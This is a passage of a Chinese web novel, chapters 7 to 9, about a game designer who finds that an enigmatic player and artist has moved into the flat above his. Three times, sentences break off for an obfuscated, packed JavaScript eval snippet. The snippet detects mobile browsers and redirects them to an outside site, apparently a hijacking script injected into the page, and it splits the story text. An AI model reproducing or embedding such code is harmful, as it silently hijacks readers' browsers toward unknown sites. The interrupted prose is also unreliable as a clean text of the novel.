“这是哪儿啊?”眼镜问,“老大你什么时候自己跑出去玩了?” 照片上,他跟喻雪生二人坐在亭子里。喻雪生几乎是背对着镜头,露出一点点侧脸。而他自己侧对镜头,身上披着毯子,手里端着一个马克杯。 应该是喻雪生给他煮的那杯姜茶。 户外的灯光有点暗,不过亭子和夜空和周围的花草,倒是共同构成了个画框似的构图,拍得很漂亮。 姜察忽然想起来,那天丸子叫他下山的时候,他被一道光闪了一下。 哦,是闪光灯。 原来是那时候拍的。 旁边一直没说话的萝卜也开口了:“这是不是茶园的服务生?” “还真是,”眼镜又看了看,把照片递给姜察,“小姜哥,这帅哥你认识?是不是给我们带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189136|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路的那个?” 姜察接过照片,幸好是背影,喻雪生的T恤背面没印“隐茶空间”四个字。搭配着丸子的摄影技术……就算没正脸也很有帅哥的意境。 “嗯,”姜察说,“是我们游戏的玩家。” “这么巧?”小宇有点惊讶。 “是啊,”姜察点点头,“他还是高氪玩家,前两周刚来过座谈会……” 回想起来,这几次碰到喻雪生,姜察总是有点意外。 喻雪生的年龄应该比自己小,但每次出现的契机和身份都有些不同,高氪玩家、著名up主、酒店住客、茶园小帮手…… 他的态度也总是忽好忽坏,比如那天在员工休息室,又比如在亭子里……很难捉摸。 还有他那条腿,姜察那天没好意思问,喻雪生怎么就抛开轮椅健步如飞了?甚至能蹲在地上拔葱? “小姜哥,这照片给你吧,”丸子说,“底片我一会儿也传过去,你还能发给他当个纪念。” “行。”姜察只好接过照片。 发给他?他连喻雪生在哪儿都不知道呢。 见了这么多面也没留个联系方式,如果秋总听说了,又会说他不懂得维护高级玩家…… …… “这个也不要了?” 该隐端着张唱片,语气里带着惋惜。 屋里乱得没法落脚,四周弥漫着灰尘。喻雪生扯了扯领口,身上一层黏糊糊的薄汗。 总共两个箱子一张桌子,摊开后是怎么摆成这样的? “我靠,竟然还是全套!”该隐扒拉了两下箱子,又抽出两张唱片,“你真不要了?” “不要了,”喻雪生瞥了他一眼,“你也不要就扔了吧。” “这个游戏的喷溅彩胶还挺难买的呢。”该隐说。 “别人送的,”喻雪生把一箱瓶瓶罐罐的颜料从箱子里拎出来,“我唱片机都砸了,留着也用不上。” 该隐看了看他:“那我挂二手平台上吧。” 喻雪生“嗯”了一声,掏出压在颜料底下的一包刻刀。 短暂的断舍离后,该隐开着他的比亚迪,把喻雪生连人带猫带行李一起送去了“新家”。 “社畜小公寓啊。” 这是他对这个新家的评价。 俩人担心堵车,趁天黑前赶了过来,结果快九点的时候楼里还冷冷清清。这片区域真正的下班晚高峰估计还要更晚。 天彻底黑透的时候,该隐终于走了。临走前还被差遣去拿了几个快递,留喻雪生一个人在房间里拆快递收东西。 一盒彩色小皮筋,一个塑胶捏捏球。 喻雪生把东西从快递盒里拿出来,收到茶几的柜子里。 这边和酒店还是不一样,隔音太好,开快递划个透明胶的声音都清晰可闻,整个屋静得吓人。 但房东还算靠谱,除了冰箱,其他电器基本都送来装好了,而且都是新的,有的甚至没拆塑料膜。 喻雪生收拾完东西,最后才把猫箱打开,雪球慢悠悠地踱步出来,东张西望了一会儿,找了个角落趴下了。 他伸手摸了它一把,飞起一片猫毛。 直到手机突然响了起来。 …… 屋里进人了? 姜察站在外门门口拧了一圈钥匙,微微愣了愣。 门没反锁,不像房东来过。跟他早上出门前比,玄关里有些东西也被碰歪了。 不过他很快反应过来:时隔一年,这栋双钥匙小公寓的上层终于租了出去。 姜察一边脱了外套一边往屋里走,顺手把外门反锁好。 毕竟是邻居……甚至可以说是室友,晚点得上去打个招呼。 今天加班有点晚,晚饭都没来得及吃。淘点米蒸饭吧,再煮个三文鱼汤,中午跟秋总寸头吃了食堂的麻辣香锅,晚上最好吃得清淡点儿…… “砰!” 楼上突然传来一声东西倒地的巨响,姜察手一哆嗦,差点把米和水一起倒进下水道里。 “管我在哪儿呢?”一个声音喊,“死不了!我要死早死了!” 他端着锅的手顿了顿。 喻雪生蹲下,扶起地上的台灯。雪球的尾巴毛炸成了大大的一束,喻雪生往它那儿看了一眼,打开房门,走到楼梯口。 “一笔勾销?”他冷笑了一声,“我勾什么销?” 楼梯里灯没开,有点暗。不知道是因为黑还是因为电话那头的人,他胸口一阵阵堵得慌。 “我告诉你,我再没花你一分钱,卡也没动过,”喻雪生压着声音,“别找我了……都互相少给对方添点儿堵。” 电话那边又说了句什么,他捏紧了楼梯的扶手。 “行,想让我好好活着,就都离我远点。” 他“啪”地把电话挂断。 7. 第 7 章 楼梯上很黑,几乎没有光。 喻雪生慢慢地坐在了台阶上,过了好半天他才缓过神来,浑身一阵阵的抽着疼。 从牙根,到脊椎,再到浑身上下每块儿骨头,都跟被小锤子锤着似的。 疼吧。 那就疼吧。 早晚得疼死。 不知道过了多久,楼下的门轻轻响了一声,门缝里射出一道光,有人走出来了。 但他不想动,也动不了,他还在那级台阶上坐着。这种时候,他总会失去身体的控制权。 吓着人了,刚才的声音太大了。 ……不过也无所谓了。 姜察站在走廊里,对着黑乎乎一片的楼梯间,犹豫着要不要咳嗽一声。 推开门的那一刻他就有点后悔,新邻居的情况听着很不好,他还没想好怎么管新邻居的闲事,而且,那个新邻居怎么听都…… 地球转了四十多亿年,碰到点儿离谱的巧合也很正常,但最近发生在他身上的巧合是不是有点多? 姜察深吸了一口气,抬脚往楼上走了两步,刚拐了个弯,立刻停住了。 熟悉的身形、长发,坐在楼梯上的人把脸埋在胳膊里,但只看一眼就能看出是谁! 也就在这时候,坐在楼梯上的人缓缓抬起了头。 “抱……”楼梯上的人声音很哑,但看见姜察后也愣住了,话停在了嘴边。 姜察有点尴尬:“……你好”。 喻雪生盯着他看了半天。 “我住楼下,刚下班,”姜察指了指身后,“听房东说有人搬来了,我上来看看。” 房东还没来得及说呢,其实是我太热心。 楼梯间很黑,只能隐隐看到对面人的脸。于是就这么尴尬地互相对望了一会儿,直到走廊里传来人的咳嗽和脚步声,喻雪生才缓缓开口。 “太巧了,”他说,“我刚搬来。” “那是挺巧,”姜察努力笑了下,“没想到能跟你成为邻居,喻先生,我之前还以为你是学生……” “休学了,”喻雪生继续哑着嗓子,“叫我的名字。” 姜察跟喻雪生没那么熟,也不知道这人对名字有什么执念。 这是喻雪生第二次让他直呼姓名了,上一次是在茶园。 不过,现在的喻雪生和在茶园的时候又不太一样,虽然没什么表情波动,但一身的低气压,随便聊个天都能聊死。 ……情绪忽起忽落,状态随时抽风。 姜察不知道该说什么,又过了一会儿,看见喻雪生扶着栏杆动了动,然后“嘶”地吸了口气。 “要帮忙吗?”他凑过去。 “扶我一下吧。”喻雪生叹口气,说。 姜察扶着他站起来,慢慢上楼进屋,几步路走得相当踉跄。 等灯光照到脸上的时候,他惨白的脸和满脑门的汗把姜察吓了一跳。虽然不知道怎么回事儿,但估摸着不是什么小病小伤。 “劳驾,”喻雪生撑着餐桌桌角,往房间角落里指了指,“帮我把那个打开。” 姜察顺着看过去,是张折叠起来的轮椅。 房间里衣柜门敞着,床上用品没铺,各种画具杂物放得到处都是。除了那张轮椅外,整个房间能坐人的只有一个房东购置的迷你小沙发。 他鼓捣了半天,终于把轮椅打开,又扶着喻雪生坐下,最后自己坐在了沙发上。 一通忙活后,姜察都有点儿冒汗了。 “今天麻烦你了。”喻雪生说。 “没事,”姜察说,“也没帮上什么。” 喻雪生笑了笑。 “你的腿……”姜察犹豫了一下,“要吃点药吗?” 喻雪生似乎被这话问得怔了一瞬,不过很快摇摇头:“不用,一会儿就好了。” “哦。”姜察答应了一声。 也是,估计没什么口服药能治腿伤的。 他又悄悄看了一眼,喻雪生穿着长裤,虽然坐着轮椅,但腿很直,乍一看也看不出到底是怎么回事。 “断了。”喻雪生开口,说。 姜察抬起头,对上喻雪生的目光,突然有点尴尬,有种做贼心虚偷看被抓的感觉。 不过,他好奇的其实也不是这个,而是这人为什么一会儿活蹦乱跳一会儿弱不禁风的? 难道断腿还能间歇性恢复一下? “你要问问是怎么断的吗?”喻雪生说。 “什……”姜察愣了愣,赶紧摆摆手,“没,我是……上次以为你腿已经好了。” “哦,”喻雪生指了指腿,“今天,不是腿的问题。” 气氛又一次陷入凝滞,喻雪生没有想讲下去的意思,姜察只好点点头,把目光投向别处。 再好奇的人这时候都知道该闭嘴了,而且说实话,他也没什么好奇的立场。 几次相遇都是因为巧合,刚刚帮他也纯粹是为了维持工作上的氪佬关怀和邻居关系。 想到工作,他突然又想起了什么。 “有个东西给你,”姜察站起来,“等我一下。 楼梯上传来当当当当一阵脚步响,紧接着是楼下密码锁开锁的声音,两分钟后,他又一阵风似的跑了上来。 喻雪生接过姜察手里的东西时,微微怔了怔。 “这是……”他拿着手里的照片,“什么时候拍的?” “那天团建,”姜察坐回旁边,“我们组有个喜欢拍照的同事,她说这张拍得很帅,让我送你留个纪念。” 顿了顿又有点犹豫:“你要是介意的话……” “不介意,”喻雪生笑了笑,看着照片,“我很喜欢。” 姜察松了口气,看表情,这人的心情好像又好起来了。 “她让你拿给我的?”喻雪生看了一会儿照片,问,“你也没我联系方式吧?” “是,我本来打算……”姜察有点尴尬地笑笑,“看什么时候能凑巧碰见了。” “那还确实挺巧。”喻雪生轻轻啧了一声。 从姜察团建那天到现在,也就一个礼拜的工夫。 巧得简直快一周一见了。 “加个好友吧,“过了一会儿,喻雪生侧身掏出手机,“以后就有了。” “什么?”姜察有点迷茫。 “联系方式啊!”喻雪生说。 姜察赶紧拿出手机扫码,扫码的时候还看了眼,对方的头像是个雪花图案,像是拍了张什么画的照片,带着圈儿闪光灯的反光…… “小雪花?”他看到昵称,愣了愣。 喻雪生点着手机:“嗯,小雪花,白雪王子,都是我。” “挺有个性,”姜察有点想笑,“前几天我看到白雪王子的时候也吓了一跳。” 喻雪生抬头看了看他,没说话。 说起白雪王子,姜察突然有点恍惚。 前几天他还在看喻雪生的视频,今天突然就成邻居了。前几天他们还在园区门口剑拔弩张,今天就突然能坐一起聊天了。 造化弄人啊。 “姜察,”喻雪生突然皱了皱眉。 “啊。”姜察说。 “你楼下是不是煮了什么东西?”喻雪生说,“闻着有点糊了……” 姜察“噌”地站了起来,这才想起临上楼前的饭和鱼汤还在煮着! “那……我走了?”尽管怕烧干了锅,他还是迟疑了一下,“你要是有什么需要帮忙的,随时给我发消息。” “行”喻雪生赶紧摆摆手,“你快去吧。” “晚安。”姜察走到门口。 “啊。”喻雪生笑了笑,应了一声。 门被轻轻带上,门锁发出“咔”的一声响,一阵下楼的脚步声后,屋里又恢复了一片安静。 衣柜里,几件衣服动了动。 雪球从衣服里迈着猫步走出来,炸着的大尾巴已经恢复成了乖顺的一束。 喻雪生对它勾了勾手指,肥硕的布偶猫立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189137|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻乖巧地蹭过来,然后翻着肚皮躺下。 他伸手,一下一下地摸着。 “对不起啊。”他轻声说。 雪球“喵”地叫了一声。 放假前的最后一天,公司里简直是四处起火。 姜察好不容易交上了自己的文档,刚要歇会儿,美术就小窗来问为什么这个需求要这样画、会不会改一下更好。 转过头,组里的麻雀们卡着节前交了一堆内容让他审核,待办事件“唰”地摞成了一长条。 跟快要Game Over的俄罗斯方块似的。 还剩两个小时下班的时候,小宇又带来了重磅消息:有个节后第二天就要外放的资源,两个月前发需求节点时他忘了算假期时间,今天一问才知道已经赶不上版本了。 “你真牛逼。”姜察冲他竖了竖拇指。 他连骂人的力气都没了,只能带着小宇挨个跑到工位上求职能同学、又找外包加急、再去跟QA道歉问假期能不能加个班…… 等全解决完,感觉被扒了层皮。 “小姜哥,”小宇站在他工位旁边快哭出来了,“没你我都不知道该怎么办……” “没我你已经被职能吃了!”姜察说,“再有一次你自己求人去。” “不会了!我保证!”小宇悲伤地喊,“真的谢谢,你太靠谱了,我再也找不到比你更伟大的老大了……” 姜察无力地挥了挥手:“滚吧。” 小宇眼含泪花地离开了,临走前还拽了张纸擦脸。 姜察叹口气,看看电脑屏幕右下方的时间,还有五分钟下班。 下班那一刻,整个楼里都洋溢着欢乐的气息,每个群都在清一色地刷屏“假期快乐”。 捕鲸小队里也有人艾特他,问他五一有什么计划。 还真没有,他五天的计划都是躺着。 姜察随便回了两句就准备关电脑,结果一个人影“噌”地闪了过来,是秋总。 “不去!”还没等秋总开口,姜察马上说。 “我说什么了你就不去?”秋总挺惊奇,“你什么时候学会的预知未来啊小姜哥。” “吃饭唱歌去酒吧,你俩就这三件,”姜察说,“寸头攒的局我都不去,三人以下的活动另说。” 虽然他们吃饭都是熟人,唱歌也都是健康场所,喝酒也是清吧。但他不想去,真的不想。 节假日里寸头总喜欢叫上一帮人,三人以上的社交场合,每多一个人对他都是一份精神摧残。 “你就在家宅着?”秋总问,“你休养哪门子生息呢?” “诸事不顺,都得养,”姜察点开桌面上的日历,“我这一个月里有半个月都是水逆。” 姜察的桌面日历上都是工作内容,打眼一看这个月标红的条目都连成串了。 “不顺才得去热闹点的地方,”秋总说,“你不愿跟同事玩就让寸头另找人,我们一起去吸吸别人的阳气。” 姜察叹了口气,还是摇头。 “我说实话,”秋总压低声音,“我看了外放排期,下半年你肯定得被主策缠上,连想玩的时间都没有……” “我可以片鱼。”姜察说。 “我说有活人气息的玩!”秋总忍不住喊,“姜大爷,你现在连带人团建都是爬山,都要出家了!” 没等姜察说话,她又顿了顿:“你仔细想想,这几个月见过最没班味儿的帅哥也就那个氪佬了……” 喻雪生? 姜察的喉咙哽了下,嘴角也不由自主地扯了扯。 “我要跟你们划清界限,”他缓了缓,伸手关上电脑。 “划,那你就划,”秋总啧了一声,“如果不是因为工作认识那个氪佬,你敢说你……” “停。”姜察赶紧做了个暂停的手势。 “怎么?”秋总愣了下。 姜察看了看她,叹了口气。 “再说这个,”姜察说,“我真生气了啊。” 8. 第 8 章 喻雪生已经分不清自己是通了第几个宵了。 窗户外亮了又暗,暗了又亮,猫粮机自动出粮,猫砂盆自动运转。在他有意识的记忆里,房间里只有雪球偶尔跑动或扒拉猫砂的声音。 以及中间两次下楼拿外卖时,偶遇了正要去上班的姜察。 碰上他两次,那应该是过了两天了?但光数着天黑的次数好像又不止…… “开门!” 楼下的门被砸得哐哐响时,喻雪生又一次回过神来。 他本来准备歇会儿,但敲了半天都没人开外门,雪球都吓得躲进了衣柜里。 他只好站起来,随便披了件衣服,揉着脖子下楼。 一开门,该隐正怒目圆睁地瞪着他。 喻雪生扫了门外的人一眼,这货今天兴致挺好,扎了小辫子,还戴着唇钉。 “散会了?”他侧身把该隐让进来。 “什么?”该隐皱了皱眉。 “葬爱家族大会,”喻雪生指指他,“少掌门,葬点儿爱点儿该隐……” “去你大爷的。”门口的人回过味儿来,骂了一句。 “怎么说话的,注意文明。”喻雪生叹了口气,关上玄关门。 “文明?”该隐边上楼边念叨着,“电话不接,门也不开,你要是真文明的话我也不用敲两个小时了!” “真敲两个小时怎么没保安把你叉出去啊……”喻雪生笑了笑,说。 等到按开密码锁,进了屋,该隐的脚步顿了顿。 “你家遭贼了?”他看着一屋子混乱,有点震惊。 要说遭贼确实差不多,房间正中央,一架折叠衣架跟警戒线似的把房间分隔成两半区域。靠门一边是床,靠窗那边摆着张工作台。 以工作台为中心,各种乱七八糟的书、画具、废报纸、木板纸盒……都扔在地上。 正愣着的时候,角落里传来一声轻轻的猫叫,雪球艰难地跨过地上的杂物,朝门口走过来。 “我靠,你怎么在这屋待下去的?”该隐皱着眉,“你家猫都踮着脚走路了!” “这不是忙着呢吗,”喻雪生说,“而且它都习惯了。” “是,得亏我们雪球懂事……”该隐蹲下,抱起猫狠狠揉了两把。 “粘你一身毛。”喻雪生啧了一声。 喻雪生家不脏,就是乱,东西都东一件西一件地扔着,他忙起来的时候确实是这样。 该隐又吸了半天猫,等雪球终于开始四爪蹬脸了,他才把猫放下,看着屋里犹豫了一会儿,想说两句什么。 但面对如此混乱的场景,半天都没找着个形容词。 “你这屋真是……”他拧着眉。 “有生活气息?”喻雪生问。 “你怎么好意思的,”该隐挺无语,“连个坐的地方都没有。” 喻雪生乐了半天,走到沙发旁,挪了挪几件搁在上面的衣服,做了个“请”的手势。 迷你小沙发本来就不大,衣服一塞就变得更挤,该隐缩进去,感觉自己跟超市里的盒装鸡蛋似的。 “说说吧,”该隐缩着叹口气,“你这两天怎么回事,日子能过成这样。” “什么怎么回事?” “一租房就没消息了啊,”该隐说,“也不知道在忙什么。” “哦,熟人给找了个活儿。”喻雪生也拉了轮椅过来,坐下。 “活儿?”该隐看着他的轮椅,有点皱眉。 “嗯,”喻雪生说,“大漆,一组葫芦。” “大漆葫芦?”该隐愣了愣,“还是一组?” “就三个,”喻雪生伸手比划了一下,“尺寸倒是不大,工艺也不用太复杂,就纯练手……” 该隐挺意外地看着他,挑了挑眉。 “钱也不多,我师兄介绍的。”喻雪生补充了一句。 喻雪生边说从桌角上拿了个橙子,剥着。 该隐盯着他,没说话。 橙子皮有点厚,抠了半天才抠下一小块儿,他盯着喻雪生看了几秒,忍不住伸手把橙子拿过来。 “我有点意外,”该隐边剥着橙子边说,“我还以为你不做大漆了。” 对面的人没说什么,笑了笑。 “而且你还跟你学校的人联系……”该隐皱皱眉。 “我是休学,又不是退学,”喻雪生打断他,“而且都学这个了……该干的还是得干。” 该隐的手顿了顿,抬头瞥了他一眼,过了一会儿,把剥好的橙子塞到他手里。 橙子剥得很干净利索,该隐剥的时候垫了纸巾。 喻雪生把玩了一会儿,又看了看自己抠了两下就被染得有点发黄的指尖,微微皱了皱眉。 “哎,我去洗个手。”他站起来。 “你不吃?”该隐问。 “我本来就不吃。”喻雪生说。 “那你买它干嘛?”该隐有点无语。 “不是我买的,上礼拜我师兄来送的,”喻雪生说,“太甜就一直放着了。” “早知道就别剥啊……浪费粮食。”该隐说。 “你吃了吧,”喻雪生往洗手间走,“对了,一会儿出趟门吧,突然想起来我还没吃饭。” “突然想起来?”该隐抬头看了看表,表针指向晚上八点,“这都几点了?您这是哪顿没吃啊!” 喻雪生没出声,一溜烟地钻进了洗手间。 该隐坐在沙发上,看着心虚的人的背影,只好掰了瓣橙子塞进自己嘴里。 过了两秒,五官都皱了起来。 “靠。”他暗骂一声,把橙子扔回了茶几上。 喻雪生是工作起来就废寝忘食加失忆的那一挂,等他洗了手又心血来潮冲了澡换了衣服,全身到下收拾完一遍,出门的时候已经八点半了。 他磨磨蹭蹭地从浴室里钻出来,抬头时眼前突然黑了黑。 ……看来真有点饿过劲儿了。 该隐靠窗站着,这会儿正点着根烟。看见他出来的时候往他这边撇了一眼,从鼻孔里冷哼了一声。 “走吧。”喻雪生若无其事地笑笑。 “我再晚点来你能饿死。”把楼上门带上的时候,该隐叹了口气。 楼梯间到玄关的两步路太短,两人都懒得开灯,顺着没开灯的楼梯往下走着,走到拐角,喻雪生突然想起来件事。 “哎,”他脚步停了停,“我跟没跟你说过?” “什么?”该隐问。 “我楼下……” 话还没说完,外门的密码锁响了几声。 玄关的门突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189138|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然打开了,一个人走进来,伸手摸索了一会儿,“啪”地拍亮了玄关的灯。 “靠!”该隐吓了一跳。 “啊!”门口的人也同时一跳。 等都跳完了,一脸惊恐的社畜和一脸蒙圈的该隐对上了视线。 过了两秒,两人几乎一起转过头。 “……现在不用说了。”喻雪生有点无奈地耸了耸肩。 姜察站在玄关,没想到这儿还能站着两个人。 下班的时候他被秋总纠缠了半天,正要跑的时候又碰到主策进行日常寒暄,寒暄完又被QA抓住修了个配表bug…… 往回走的时候都快被榨干了。 结果一开门就看见楼梯间里杵着俩人,吓得心率飙升,运动手环都差点报警。 吸血鬼吗这是?回回黑灯瞎火地窝这儿,明天是不是得倒悬房梁上…… “下班了?”过了会儿,喻雪生开口。 “啊,”姜察半天才缓过神来,“怎么没开灯?” “正要出门呢。”喻雪生说,“你们下班够晚的,辛苦。” “还好……”姜察看看面前的两人,“你们要出去?” “嗯,跟我朋友,”喻雪生指了指身后,“该隐,你见过。” 姜察在脑子里搜索了半天,终于想起来这是那天在茶园看到的黑T恤朋克少年。 “这位是姜察,恐惧追踪的姜组长。”喻雪生转过身,跟朋克少年介绍着。 姜察忍不住皱了皱眉,刚加完班还能听见这游戏的名字,着实有点晦气,不过他还是主动伸出手:“你好。” “……好。”该隐一脸茫然地跟他握了握。 “我们正要出去吃饭呢,”喻雪生笑着问,“要一起吗?” 姜察也努力笑了笑:“不用,我在公司吃过了。” 一来一回的客套话又耽误了三分钟…… 正想着接下来是不是能告别、回归他两米之隔的温暖小窝时,站在旁边的该隐终于断线重连成功,回过神来。 “你们住一起?”他问,“什么时候这么熟的?” “我住楼下,”姜察还在努力微笑,“凑巧……” “了”字儿还没出来,喻雪生突然伸手,拍了该隐后背一巴掌。 “饿疯了吧你?”喻雪生说。 “啊?”该隐皱皱眉,“不是你没吃……” “哪儿那么多废话,赶紧走,吃饭去。”他说。 姜察侧身让出门口,喻雪生对他点了点头友好告别,然后二人一前一后地出了门。 他松了口气,开了自己的房门进屋。杵楼梯间里半天,也不知道是气氛问题还是楼梯间不通风,闷得他都快出汗了…… 直到进屋换了衣服,把脏衣服扔进洗衣机,丢进洗衣凝珠倒上了消毒液……他撑着洗衣机站着的时候,才突然回过味儿来。 那个朋克……该隐问了什么? 住一起了? 姜察皱了皱眉。 ……哪有人这么问的? 姜察盯着洗衣机的滚筒,微微有点发愣。 过了半晌,他揉揉头发,又叹了口气。 算了。 大概是因为秋总今天说的话,他脑子已经跟衣服一块儿扔进洗衣机里搅着了…… 9. 第 9 章 喻雪生挑的是家连锁杭帮菜,味道中规中矩,好在发挥稳定。 进店里的时候,该隐专门挑了个靠窗看景的位置,结果没一会儿门口就排起了长队,窗外人挤得乌泱乌泱的。 也许是因为明天就是五一,除了本地人,外地游客也从四面八方涌入了这座城市。 喻雪生夹了块笋,看着挨着窗户排队的一家三口。 三个人的轮廓被夕阳照出了一个剪影,父母二人很年轻,小女孩也才五六岁,举着甜筒叫得正开心。 ……真是阖家欢乐的日子啊。 “阿嚏!” 坐在对面的该隐突然打了个喷嚏,喻雪生转过头,看见他正揉着鼻子,旁边的服务生端着一盘西湖醋鱼路过。 “醋味儿呛着了?”喻雪生把桌上的纸巾盒撕开,抽了一张递过去。 “啊,”该隐皱着眉,“这东西到底有什么吃的,点这个的都异食癖吗?” “你是不是本地人啊?”喻雪生有点想乐。 “在外面待久了,”该隐叹口气,“别说口味,口音都带偏了,你不也是吗。” “是。”喻雪生笑着点了点头。 他跟该隐正好相反,该隐是从北方读完大学回来的,而他是从北方来这边上学。 但有的人是因为换口味,有的人是想逃跑。 话音刚落,刚刚过去的服务生突然拐了个弯,半分钟后,那盘鱼放在了他们的桌上。 “不好意思,今天客人有点多,差点送错……”服务生说。 喻雪生摆了摆手示意没事,等人离开后,才发现对面的该隐正一脸复杂地看着他。 “喻雪生,”该隐指指鱼盘,“我怎么不知道你还吃这东西啊?” “说不定腿伤还影响味觉神经呢。”喻雪生拿起筷子。 “这得是神经坏了。”该隐看着盘子里的鱼,颜色倒是不差,深棕色的醋汁点缀着姜末,红亮红亮的。 喻雪生吃了两口鱼,味道还不错,起码不腥,品尝了半天,还手欠地给该隐夹了一筷子。 “我……”该隐看着碗里,“算了,我还没问你。” “嗯?”喻雪生低头挑着鱼刺。 “那个策划怎么回事?”该隐问,“他怎么跟你住一块儿啊?你俩商量好……” “等等等等!”喻雪生打断。 “首先,那叫住楼下,”喻雪生说,“而且你什么脑回路,我还能是因为他租的房吗?” “这我哪知道。”该隐说。 “我要是知道他住那儿的话,说不定早跑了,或者看房看烦了跑哪个庙里待着……”喻雪生叹了口气。 该隐看了他一会儿,没说话。 确实,喻雪生向来过得随心所欲,在哪住下,在哪读书,学什么,从来不会因为别人而做决定。 多大的“大事”对他来说都是基于自我的心血来潮。 “那他呢?他出场次数太多,我都怀疑他蓄意跟踪了。”该隐说。 “你怎么不怀疑我跟踪他呢?”喻雪生说。 该隐仔细想了想:“所以是吗?” “不是啊!”喻雪生彻底无语了。 他放下筷子,点开手机,给西湖醋鱼拍了个照。 “我要是姜察,今天肯定关门回屋了,”他说,“他本来就够自闭的,你上来就说什么这一套……” “万一他没在意呢,”该隐说,“而且我也没别的意思。” 喻雪生放下手机,抬眼看了看他。 “没别的意思吧?”该隐也看向他。 “没有!”喻雪生简直想把鱼扣他碗里。 饭快吃完的时候,餐厅里的人更多了,该隐刚要扫码买单,一个服务员走了过来,手里拿着个打包盒。 “这……要干嘛?”该隐愣了愣。 服务员介绍:“我们店的特色,西湖藕韵……” “糯米藕,”喻雪生接过打包盒,“给跟踪对象带的。” “你请客,我买单?”该隐扫着结账码,“你什么时候能对我这么好?” “等你跟我住一起并把苦咖啡的三块钱转回来的时候再说。”喻雪生刻意在“住一起”三个字上加重了音。 “你就记仇吧。”该隐叹口气,指了指他。 饭后,该隐自己开车回家,他此行就是确认喻雪生没把自己饿死,任务完成后就干脆放心地让他打车回去了。 到了楼下,喻雪生一个人按了电梯上楼,走进玄关的时候又清了清嗓子,敲响了楼下的门。 这会儿快十点,但这个时间……姜察肯定没睡。 过了几秒,房门打开,里面的人探了个脑袋出来。 “喻雪生?”姜察看到是他,有点吃惊地又把门开了开,“你们吃完……你朋友回去了?” “嗯,”喻雪生点点头,“你吃饭了吗?” 都说了在公司吃过…… 姜察正想开口,房间里传来“咔”的一声响。 电饭煲的煮饭键跳了起来,空气中弥漫着淡淡的饭香。 喻雪生站在门口,看着他。 “正准备吃,”姜察有点尴尬,“……宵夜。” “哦。”喻雪生笑笑。 骗鬼呢。 虽然没上过班,但他见过该隐上班,临放假前一天加班回来还一脸生不如死的,八成都是赶ddl赶到没时间吃饭。 “那你宵夜加道菜吧,这个是给你带的。”喻雪生扬了扬手里的餐盒。 姜察有点吃惊,接过来,打开看了看。 “糯米藕啊。”他说。 “嗯,我还挺喜欢这个的。”喻雪生说。 “谢谢,”姜察笑笑,“我也喜欢,就是做着麻烦。” “这还能自己做?”喻雪生怔了怔。 “嗯,”姜察点点头,“泡糯米,洗莲藕,把米塞进去固定好,然后放冰糖红糖和桂花一起煮……不过我就做过一次。” 喻雪生跟听天书似的,突然听姜察说了一长串。 他原本以为这人也就蒸个饭热个菜,但没想到他还能自己做糯米藕。 这么复杂的东西! 多么……多才多艺的社畜。 姜察轻轻咳了两声。 “你要再吃点宵夜吗?”他侧了侧身,半天了喻雪生还在门口站着。 “不了,还撑着呢。”喻雪生回过神来,笑了笑,摆手拒绝了。 这倒不是客气,今晚吃得太多,回家的时候还觉得有点想吐…… 五一放五天假,说是五天,其实是从前后两周东拼西凑凑来的。 不过今年的五一跟有人要渡劫似的,从第一天中午就开始全国大降雨,姜察翻着朋友圈,看满屏幕的人怨声载道。 其中包括去音乐节的寸头、去游乐园的丸子、准备五天跨越两个城市看四个艺术展参加三场婚礼的秋总…… 他把脸往被子里埋了埋,手机调了静音,倒扣在枕头旁边。 无所谓,电闪雷鸣都跟他没关系。 假期第一天睡觉,第二天打扫房间,第三天一睁眼已经是中午了。 姜察打了个哈欠,抓了两下头发,窗帘缝隙里射进来的光很亮,今天终于晴了天。 不太妙,怎么能习惯睡懒觉的作息? 他正准备爬起来,枕头旁倒扣着的手机突然震了几下。 是群里的消息——来自幸福一家。 姜察拿着手机看着,老爸老妈又在群里说教,俩人除了分享养生小文章,就是发表各种关于人生价值理想的高谈阔论。 [妈:[链接]一天之计在于晨,晨跑是如何改变生命的] [爸:[链接]读完《自控力》才发现,你有多努力,就有多幸运] …… 他看了两眼,把手机屏幕又朝下扣了回去。 等洗漱完从洗手间回来,消息又多了几条。 最后一条是老妈发来的,问假期怎么过。 姜察犹豫了一会儿,拨通了老妈的电话。 “还记得给家里打电话啊?”老妈接得很快。 “啊。”姜察应了一声。 “啊什么呢,你假期打算怎么过?”老妈说,“你爸还以为你能回家。” “不回了,这边下暴雨,我在家待着呢。”姜察说。 “哦,那暴雨天坐车坐飞机确实都不安全,在家 